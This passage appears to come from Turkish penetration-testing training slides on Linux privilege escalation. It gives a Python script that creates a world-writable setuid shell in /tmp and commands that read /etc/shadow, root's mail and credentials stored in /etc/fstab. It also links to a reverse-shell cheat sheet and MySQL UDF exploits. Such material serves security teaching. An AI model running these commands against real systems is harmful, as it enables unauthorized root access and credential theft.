Aşağıda bir Python script’i ile “s” bit’i işaretli bir shell oluşturma yöntemini görebilirsiniz:
#!/usr/bin/env python
import os
import sys
try:
os.system('cp /bin/sh /tmp/sh && chmod 4777 /tmp/sh && /tmp/sh')
except:
sys.exit()
Çeşitli diller ve araçlar (bash, perl, python, php, java, netcat) kullanılarak reverse shell
alma imkanı sağlayabileceğimiz diğer yöntemler için aşağıdaki link’ten faydalanabiliriz:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
LINUX YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi (devamı)
Loopback arayüzünden erişilebilen TCP ve UDP ağ servislerini incelemek için (elbette yetki
yükseltebilmek için açıklık barındıran bir servisin root hakları ile çalışması gerekir)
netstat -antp
netstat -anup
“p” opsiyonu root hakkına sahipsek servisin arkasındaki proses id’si ve adını gösterecektir,
dolayısıyla sıradan bir kullanıcıysak aslında bir işe yaramayacak.
Parola hash’lerini ele geçirmek için shadow dosyası veya yedeklerine erişmeye çalışmak
cat /etc/shadow 2>/dev/null
grep -i -E 'shadow' dirlist-enum.txt | xargs ls -al 2>/dev/null
MySQL UDF (User Defined Function) Fonksiyonalitesi ile Yetki Yükseltme Saldırısı
Windows örneği
http://blog.btrisk.com/2017/01/mysql-udf-fonksiyonalitesi-ile-yetki-
yukseltme.html
Linux örneği
https://www.exploit-db.com/exploits/1518/
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Mail içerikleri
cat /var/mail/root 2>/dev/null
cat /var/spool/mail/root 2>/dev/null
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Mount konfigürasyonu (mount edilmemiş dosya sistemleri olabilir mi?)
cat /etc/fstab
fstab içinde kullanıcı erişim bilgileri arama
cat /etc/fstab 2>/dev/null |grep username |awk
'{sub(/.*\username=/,"");sub(/\,.*/,"")}1'| xargs -r echo username:; cat
/etc/fstab 2>/dev/null |grep password |awk
'{sub(/.*\password=/,"");sub(/\,.*/,"")}1'| xargs -r echo password:; cat
/etc/fstab 2>/dev/null |grep domain |awk
'{sub(/.*\domain=/,"");sub(/\,.*/,"")}1'| xargs -r echo domain:
fstab içinde credentials dosya referansı arama
cat /etc/fstab 2>/dev/null |grep cred |awk
'{sub(/.*\credentials=/,"");sub(/\,.*/,"")}1'| xargs -I{} sh -c 'ls -la {};
cat {}'
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)